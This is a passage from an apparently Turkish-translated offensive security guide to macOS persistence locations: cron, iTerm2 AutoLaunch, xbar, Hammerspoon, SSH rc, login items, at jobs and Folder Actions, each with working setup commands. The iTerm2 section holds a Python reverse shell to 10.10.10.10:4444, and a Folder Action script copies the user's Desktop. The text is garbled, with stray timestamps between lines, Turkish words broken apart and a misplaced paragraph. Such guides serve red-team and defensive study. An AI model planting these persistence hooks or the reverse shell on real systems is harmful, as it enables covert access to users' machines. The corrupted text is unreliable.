Burada, **kum sandı ğı atlatma** için yararlı olan başlangı ç konumları nı bulabilirsiniz, bu da size basitçe bir şeyi **bir dosyaya yazarak** ve belirli **programlar yüklü, "sı radı şı " kullanı cı ** eylemleri veya ortamlar gibi **çok yaygı n olmayan koşullar beklemeksizin** bir şeyi yürütmenizi sağlar.
2023-09-28 15:09:34 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
### Cron
2024-02-13 00:51:21 +00:00
**Açı klama**: [https://theevilbit.github.io/beyond/beyond\_0004/ ](https://theevilbit.github.io/beyond/beyond\_0004/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
* Kum sandı ğı nı atlamak için yararlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-07-17 18:36:54 +00:00
* Ancak, `crontab` ikilisini yürütebilmelisiniz
* Veya root olmalı sı nı z
2024-02-10 18:14:16 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs` , `/private/var/at/jobs` , `/etc/periodic/` **
2024-07-17 18:36:54 +00:00
* Doğrudan yazma erişimi için root gereklidir. `crontab <dosya>` yı yürütebiliyorsanı z root gerekli değildir
2024-02-13 00:51:21 +00:00
* **Tetikleyici**: Cron işine bağlı dı r
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
**Mevcut kullanı cı nı n** cron işlerini listelemek için:
2023-06-01 21:09:46 +00:00
```bash
crontab -l
```
2024-07-17 18:36:54 +00:00
MacOS'ta, ** `/usr/lib/cron/tabs/` ** ve ** `/var/at/tabs/` ** (root gerektirir) dizinlerinde kullanı cı ları n tüm cron işlerini görebilirsiniz.
2023-06-01 21:09:46 +00:00
2024-07-17 18:36:54 +00:00
MacOS'ta, belirli bir sı klı kla betikleri çalı ştı ran birkaç klasör bulunabilir:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
# The one with the cron jobs is /usr/lib/cron/tabs/
2023-06-01 21:09:46 +00:00
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
```
2024-07-17 18:36:54 +00:00
Burada düzenli **cron işleri** , **at işleri** (pek kullanı lmaz) ve **periyodik işler** (genellikle geçici dosyaları temizlemek için kullanı lı r) bulabilirsiniz. Günlük periyodik işler örneğin şu şekilde yürütülebilir: `periodic daily` .
2023-06-01 21:09:46 +00:00
2024-07-17 18:36:54 +00:00
**Kullanı cı cron işi programatik olarak eklemek** için şu kullanı labilir:
2023-09-28 15:09:34 +00:00
```bash
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
```
2023-09-28 20:05:35 +00:00
### iTerm2
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0002/ ](https://theevilbit.github.io/beyond/beyond\_0002/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-05-05 22:43:52 +00:00
* iTerm2, TCC izinlerine sahip olmak için kullanı ldı
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konumlar
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**
2024-03-29 21:18:23 +00:00
* **Tetikleyici**: iTerm açı lı nca
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**
2024-03-29 21:18:23 +00:00
* **Tetikleyici**: iTerm açı lı nca
2023-09-28 20:05:35 +00:00
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
2024-03-29 21:18:23 +00:00
* **Tetikleyici**: iTerm açı lı nca
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-06-01 21:09:46 +00:00
2024-07-17 18:36:54 +00:00
**`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** konumunda depolanan betikler çalı ştı rı lacaktı r. Örneğin:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" < < EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
```
2024-07-17 18:36:54 +00:00
Dosya `~/Library/LaunchAgents/` ve `~/Library/LaunchDaemons/` klasörlerinde otomatik başlatma öğeleri bulunabilir. Bu öğeler, kullanı cı oturumu başladı ğı nda veya sistem başlatı ldı ğı nda çalı ştı rı lacak komutları içerebilir. Bu konumlar genellikle kötü niyetli yazı lı mlar tarafı ndan kullanı lı r. Bu klasörlerdeki tüm içeriği düzenli olarak kontrol etmek önemlidir.
2023-11-02 16:52:21 +00:00
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" < < EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os
async def main(connection):
2024-02-10 18:14:16 +00:00
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)
2023-11-02 16:52:21 +00:00
iterm2.run_forever(main)
EOF
```
2024-07-17 18:36:54 +00:00
Betik ** `~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt` ** de yürütülecektir:
2023-09-28 20:05:35 +00:00
```bash
do shell script "touch /tmp/iterm2-autolaunchscpt"
```
2024-07-17 18:36:54 +00:00
**`~/Library/Preferences/com.googlecode.iterm2.plist`** konumundaki iTerm2 tercihleri, iTerm2 terminali açı ldı ğı nda **çalı ştı rı lacak bir komutu belirtebilir** .
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Bu ayar, iTerm2 ayarları nda yapı landı rı labilir:
2023-09-28 20:05:35 +00:00
2024-05-05 22:43:52 +00:00
< figure > < img src = "../.gitbook/assets/image (37).png" alt = "" width = "563" > < figcaption > < / figcaption > < / figure >
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
Ve komut tercihlere yansı tı lı r:
2023-09-28 20:05:35 +00:00
```bash
plutil -p com.googlecode.iterm2.plist
{
2024-02-10 18:14:16 +00:00
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"
2023-09-28 15:09:34 +00:00
```
2024-07-17 18:36:54 +00:00
Komutun yürütülmesi için şu şekilde ayarlayabilirsiniz:
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% code overflow="wrap" %}
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist
# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2
# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist
2023-09-28 15:09:34 +00:00
```
2023-09-28 20:05:35 +00:00
{% endcode %}
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="warning" %}
2024-07-17 18:36:54 +00:00
İTerm2 tercihlerini kötüye kullanmak için **başka yolları n** yüksek olası lı kla olduğu düşünülmektedir.
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
### xbar
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0007/ ](https://theevilbit.github.io/beyond/beyond\_0007/ )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-07-17 18:36:54 +00:00
* Ancak xbar'ı n yüklü olması gerekmektedir
2024-02-10 18:14:16 +00:00
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-07-17 18:36:54 +00:00
* Erişilebilirlik izinleri istenir
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application\ Support/xbar/plugins/`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: xbar çalı ştı rı ldı ğı nda
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama
2023-12-29 13:55:22 +00:00
2024-04-07 03:13:19 +00:00
Eğer popüler program [**xbar** ](https://github.com/matryer/xbar ) yüklü ise, ** `~/Library/Application\ Support/xbar/plugins/` ** dizininde bir kabuk betiği yazmak mümkündür ve bu betik xbar başlatı ldı ğı nda çalı ştı rı lacaktı r:
2023-12-29 13:55:22 +00:00
```bash
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" < < EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
```
2023-09-28 20:05:35 +00:00
### Hammerspoon
2024-02-13 00:51:21 +00:00
**Açı klama**: [https://theevilbit.github.io/beyond/beyond\_0008/ ](https://theevilbit.github.io/beyond/beyond\_0008/ )
2023-09-28 20:05:35 +00:00
2024-07-17 18:36:54 +00:00
* Kum havuzunu atlamak için faydalı : [✅ ](https://emojipedia.org/check-mark-button )
2024-04-07 03:13:19 +00:00
* Ancak Hammerspoon'un yüklü olması gerekir
2024-02-13 00:51:21 +00:00
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-07-17 18:36:54 +00:00
* Erişilebilirlik izinleri istiyor
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
* **`~/.hammerspoon/init.lua`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Hammerspoon çalı ştı rı ldı ğı nda
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama
2023-09-28 20:05:35 +00:00
2024-07-17 18:36:54 +00:00
[**Hammerspoon** ](https://github.com/Hammerspoon/hammerspoon ), işlemleri için **LUA betik dili**ni kullanan **macOS** için bir otomasyon platformu olarak hizmet verir. Özellikle, tam AppleScript kodunun entegrasyonunu ve kabuk betiklerinin yürütülmesini destekler, betikleme yeteneklerini önemli ölçüde artı rı r.
2023-09-28 20:05:35 +00:00
2024-07-17 18:36:54 +00:00
Uygulama, `~/.hammerspoon/init.lua` adlı tek bir dosyayı arar ve betik başlatı ldı ğı nda yürütülür.
2023-09-28 20:05:35 +00:00
```bash
2023-12-29 13:55:22 +00:00
mkdir -p "$HOME/.hammerspoon"
2023-09-28 20:05:35 +00:00
cat > "$HOME/.hammerspoon/init.lua" < < EOF
2023-12-29 13:55:22 +00:00
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
2023-09-28 20:05:35 +00:00
EOF
```
2024-02-13 00:51:21 +00:00
### BetterTouchTool
2024-07-17 18:36:54 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
* Ancak BetterTouchTool'un yüklü olması gerekmektedir
2024-03-17 16:37:08 +00:00
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-07-17 18:36:54 +00:00
* Otomasyon-Kı sayolları ve Erişilebilirlik izinleri istiyor
2024-02-13 00:51:21 +00:00
#### Konum
* `~/Library/Application Support/BetterTouchTool/*`
2024-07-17 18:36:54 +00:00
Bu araç, bazı kı sayollar bası ldı ğı nda uygulamaları veya betikleri yürütmek için göstergeler sağlar. Bir saldı rgan, **kendi kı sayolunu ve eylemini veritabanı nda yürütmek için yapı landı rabilir** ve keyfi kod yürütmesini sağlayabilir (bir kı sayol sadece bir tuşa basmak olabilir).
2024-02-13 00:51:21 +00:00
### Alfred
2024-05-05 22:43:52 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-03-17 16:37:08 +00:00
* Ancak Alfred yüklü olmalı dı r
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-23 16:46:32 +00:00
* Otomasyon, Erişilebilirlik ve hatta Tam Disk erişimi izinleri istiyor
2024-02-13 00:51:21 +00:00
#### Konum
* `???`
2024-07-17 18:36:54 +00:00
Belirli koşullar karşı landı ğı nda kod yürütebilen iş akı şları oluşturmanı za olanak tanı r. Bir saldı rganı n bir iş akı şı dosyası oluşturup Alfred'ı n bunu yüklemesini sağlaması mümkündür (iş akı şları nı kullanmak için premium sürümü satı n almak gerekmektedir).
2024-02-13 00:51:21 +00:00
2023-09-28 15:09:34 +00:00
### SSHRC
2024-03-17 16:37:08 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0006/ ](https://theevilbit.github.io/beyond/beyond\_0006/ )
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-03-17 16:37:08 +00:00
* Ancak ssh etkinleştirilmiş ve kullanı lmı ş olmalı dı r
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-07-17 18:36:54 +00:00
* SSH'nin FDA erişimine sahip olması gerekmektedir
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
* **`~/.ssh/rc`**
2024-03-29 21:18:23 +00:00
* **Tetikleyici**: ssh üzerinden oturum açma
2023-09-28 15:09:34 +00:00
* **`/etc/ssh/sshrc`**
2024-02-13 00:51:21 +00:00
* Root gereklidir
2024-03-29 21:18:23 +00:00
* **Tetikleyici**: ssh üzerinden oturum açma
2023-09-28 15:09:34 +00:00
2023-12-29 13:55:22 +00:00
{% hint style="danger" %}
2024-05-05 22:43:52 +00:00
Ssh'yi açmak için Tam Disk Erişimi gereklidir:
2023-09-28 15:09:34 +00:00
```bash
2023-12-29 13:55:22 +00:00
sudo systemsetup -setremotelogin on
2023-09-28 15:09:34 +00:00
```
2023-12-29 13:55:22 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-12-29 13:55:22 +00:00
2024-02-23 16:46:32 +00:00
Varsayı lan olarak, `/etc/ssh/sshd_config` dosyası nda `PermitUserRC no` belirtilmediği sürece, bir kullanı cı **SSH üzerinden giriş yaptı ğı nda** ** `/etc/ssh/sshrc` ** ve ** `~/.ssh/rc` ** betikleri çalı ştı rı lacaktı r.
2023-09-28 15:09:34 +00:00
2024-02-23 16:46:32 +00:00
### **Giriş Öğeleri**
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0003/ ](https://theevilbit.github.io/beyond/beyond\_0003/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* Ancak `osascript` 'i argümanlarla çalı ştı rmanı z gerekmektedir
2024-02-10 18:14:16 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konumlar
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
2024-02-23 16:46:32 +00:00
* **Tetikleyici:** Giriş
2024-05-05 22:43:52 +00:00
* Sömürü yükü ** `osascript` ** çağrı sı yla depolanmı ş
2023-09-28 20:05:35 +00:00
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
2024-02-23 16:46:32 +00:00
* **Tetikleyici:** Giriş
2024-07-17 18:36:54 +00:00
* Kök erişimi gereklidir
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
Sistem Tercihleri -> Kullanı cı lar ve Gruplar -> **Giriş Öğeleri** 'nde, **kullanı cı oturum açtı ğı nda yürütülecek öğeleri** bulabilirsiniz.\
2024-02-10 18:14:16 +00:00
Onları komut satı rı ndan listelemek, eklemek ve kaldı rmak mümkündür:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'
#Add an item:
2024-02-10 18:14:16 +00:00
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'
2023-09-28 20:05:35 +00:00
#Remove an item:
2024-02-10 18:14:16 +00:00
osascript -e 'tell application "System Events" to delete login item "itemname"'
2023-09-28 15:09:34 +00:00
```
2024-05-05 22:43:52 +00:00
Bu öğeler ** `~/Library/Application Support/com.apple.backgroundtaskmanagementagent` ** dosyası nda saklanı r.
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
**Oturum açma öğeleri**, yapı landı rmayı ** `/var/db/com.apple.xpc.launchd/loginitems.501.plist` ** konumunda saklayacak olan [SMLoginItemSetEnabled ](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc ) API'si kullanı larak da belirtilebilir.
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
### ZIP olarak Oturum Açma Öğesi
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
(Oturum Açma Öğeleri hakkı nda önceki bölüme bakı n, bu bir uzantı dı r)
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
Eğer bir **ZIP** dosyası nı bir **Oturum Açma Öğesi** olarak saklarsanı z, ** `Archive Utility` ** onu açacak ve örneğin ZIP dosyası ** `~/Library` ** konumunda saklanmı ş ve içinde ** `LaunchAgents/file.plist` ** adlı bir arka kapı içeren bir klasör bulunduruyorsa (varsayı lan olarak bulunmaz), o klasör oluşturulacak ve plist eklenerek bir sonraki kullanı cı tekrar oturum açtı ğı nda, plist'te belirtilen **arka kapı yürütülecektir** .
2023-09-28 15:09:34 +00:00
2024-03-29 21:18:23 +00:00
Başka bir seçenek, ** `.bash_profile` ** ve ** `.zshenv` ** dosyaları nı kullanı cı ANA DİZİN içine oluşturmaktı r, böylece LaunchAgents klasörü zaten varsa bu teknik yine de çalı şacaktı r.
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
### At
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0014/ ](https://theevilbit.github.io/beyond/beyond\_0014/ )
2023-12-30 00:49:26 +00:00
2024-05-05 22:43:52 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-07-17 18:36:54 +00:00
* Ancak ** `at` ** komutunu **çalı ştı rmanı z** ve etkin olması gerekmektedir
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
* **`at`** komutunu **çalı ştı rmanı z** ve etkin olması gerekmektedir
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### **Açı klama**
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
`at` görevleri, belirli zamanlarda yürütülmek üzere **tek seferlik görevlerin zamanlaması nı ** sağlamak için tasarlanmı ştı r. Cron işleri gibi, `at` görevleri otomatik olarak yürütüldükten sonra kaldı rı lı r. Bu görevlerin sistem yeniden başlatmaları arası nda kalı cı olmaları , belirli koşullar altı nda potansiyel güvenlik endişeleri olarak işaretlenmelerini sağlar.
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
**Varsayı lan olarak** devre dı şı bı rakı lmı şlardı r ancak **root** kullanı cı sı bunları aşağı daki komutla **etkinleştirebilir** :
2023-09-28 20:05:35 +00:00
```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```
2024-05-05 22:43:52 +00:00
Bu, 1 saat içinde bir dosya oluşturacaktı r:
2023-09-28 20:05:35 +00:00
```bash
echo "echo 11 > /tmp/at.txt" | at now+1
```
2024-04-07 03:13:19 +00:00
`atq` komutunu kullanarak iş kuyruğunu kontrol edin:
2023-09-28 20:05:35 +00:00
```shell-session
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
```
2024-05-05 22:43:52 +00:00
Yukarı da iki zamanlanmı ş iş görebiliriz. İşi ayrı ntı ları yla yazdı rmak için `at -c İŞNUMARASI` kullanabiliriz.
2023-09-28 20:05:35 +00:00
```shell-session
sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
2024-02-10 18:14:16 +00:00
echo 'Execution directory inaccessible' >& 2
exit 1
2023-09-28 20:05:35 +00:00
}
unset OLDPWD
echo 11 > /tmp/at.txt
```
{% hint style="warning" %}
2024-02-23 16:46:32 +00:00
Eğer AT görevleri etkin değilse, oluşturulan görevler yürütülmeyecektir.
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-07-17 18:36:54 +00:00
**İş dosyaları **, `/private/var/at/jobs/` dizininde bulunabilir.
2023-09-28 20:05:35 +00:00
```
sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ
-rw------- 1 root wheel 0 Apr 26 23:17 .lockfile
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
```
2024-04-07 03:13:19 +00:00
Dosya adı sı rayı , iş numarası nı ve çalı ştı rı lacağı zamanı içerir. Örneğin `a0001a019bdcd2` 'ye bakalı m.
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
* `a` - bu kuyruktur
2024-02-10 18:14:16 +00:00
* `0001a` - onaltı lı k iş numarası , `0x1a = 26`
2024-03-17 16:37:08 +00:00
* `019bdcd2` - onaltı lı k zaman. Bu, epoch'tan bu yana geçen dakikaları temsil eder. `0x019bdcd2` , ondalı k olarak `26991826` 'dı r. 60 ile çarptı ğı mı zda `1619509560` elde ederiz, bu da `GMT: 2021 Nisan 27, Salı 7:46:00` 'yi temsil eder.
2023-09-28 20:05:35 +00:00
2024-07-17 18:36:54 +00:00
İş dosyası nı yazdı rı rsak, `at -c` kullanarak elde ettiğimiz bilgileri içerdiğini buluruz.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
### Klasör Eylemleri
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0024/ ](https://theevilbit.github.io/beyond/beyond\_0024/ )\
Açı klama: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d ](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d )
2023-09-28 15:09:34 +00:00
2024-05-05 22:43:52 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
* Ancak Klasör Eylemlerini yapı landı rmak için ** `System Events` ** ile iletişim kurabilmek için `osascript` 'ı argümanlarla çağı rabilmeniz gerekir
2024-02-10 18:14:16 +00:00
* TCC atlatma: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-13 00:51:21 +00:00
* Masaüstü, Belgeler ve İndirmeler gibi bazı temel TCC izinlerine sahiptir
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/Library/Scripts/Folder Action Scripts`**
2024-05-05 22:43:52 +00:00
* Kök izni gereklidir
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Belirtilen klasöre erişim
2023-09-28 20:05:35 +00:00
* **`~/Library/Scripts/Folder Action Scripts`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Belirtilen klasöre erişim
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
Klasör Eylemleri, bir klasördeki değişikliklerle otomatik olarak tetiklenen betiklerdir; öğeler eklenirken, kaldı rı lı rken veya diğer eylemler gerçekleşirken veya klasör penceresinin açı lması veya yeniden boyutlandı rı lması gibi. Bu eylemler çeşitli görevler için kullanı labilir ve Finder UI veya terminal komutları kullanı larak tetiklenebilir.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Klasör Eylemleri kurmak için şu seçeneklere sahipsiniz:
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
1. [Automator ](https://support.apple.com/guide/automator/welcome/mac ) ile bir Klasör Eylemi iş akı şı oluşturup bir hizmet olarak yüklemek.
2024-02-13 00:51:21 +00:00
2. Bir betiği manuel olarak bir klasörün bağlam menüsündeki Klasör Eylemleri Kurulumu aracı lı ğı yla eklemek.
3. Programatik olarak bir Klasör Eylemi kurmak için `System Events.app` 'e Apple Olayı iletileri göndermek için OSAScript'i kullanmak.
2024-02-10 18:14:16 +00:00
* Bu yöntem, eylemi sisteme gömmek ve kalı cı lı k düzeyi sunmak için özellikle kullanı şlı dı r.
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Aşağı daki betik, bir Klasör Eylemi tarafı ndan yürütülebilecek bir örnektir:
2023-09-28 15:09:34 +00:00
```applescript
2024-02-07 04:06:18 +00:00
// source.js
2023-09-28 15:09:34 +00:00
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
2024-02-13 00:51:21 +00:00
Yukarı daki betiği Klasör Eylemleri tarafı ndan kullanı labilir hale getirmek için şunu kullanarak derleyin:
2024-02-07 04:06:18 +00:00
```bash
osacompile -l JavaScript -o folder.scpt source.js
```
2024-05-05 22:43:52 +00:00
Derlemesi yapı ldı ktan sonra, aşağı daki betiği çalı ştı rarak Klasör İşlemlerini kurun. Bu betik, Klasör İşlemlerini genel olarak etkinleştirecek ve önceden derlenmiş betiği özel olarak Masaüstü klasörüne ekleyecektir.
2023-09-28 15:09:34 +00:00
```javascript
2024-02-07 04:06:18 +00:00
// Enabling and attaching Folder Action
2023-09-28 15:09:34 +00:00
var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);
```
2024-07-17 18:36:54 +00:00
Ayar betiğini şu şekilde çalı ştı rı n:
2024-02-07 04:06:18 +00:00
```bash
osascript -l JavaScript /Users/username/attach.scpt
```
2024-02-13 00:51:21 +00:00
* Bu kalı cı lı ğı GUI aracı lı ğı yla uygulamanı n yolu:
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Bu, yürütülecek olan betiktir:
2023-09-28 15:09:34 +00:00
{% code title="source.js" %}
```applescript
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
{% endcode %}
2024-05-05 22:43:52 +00:00
Şununla derleyin: `osacompile -l JavaScript -o folder.scpt source.js`
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
Şuraya taşı yı n:
2023-09-28 15:09:34 +00:00
```bash
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
```
2024-05-05 22:43:52 +00:00
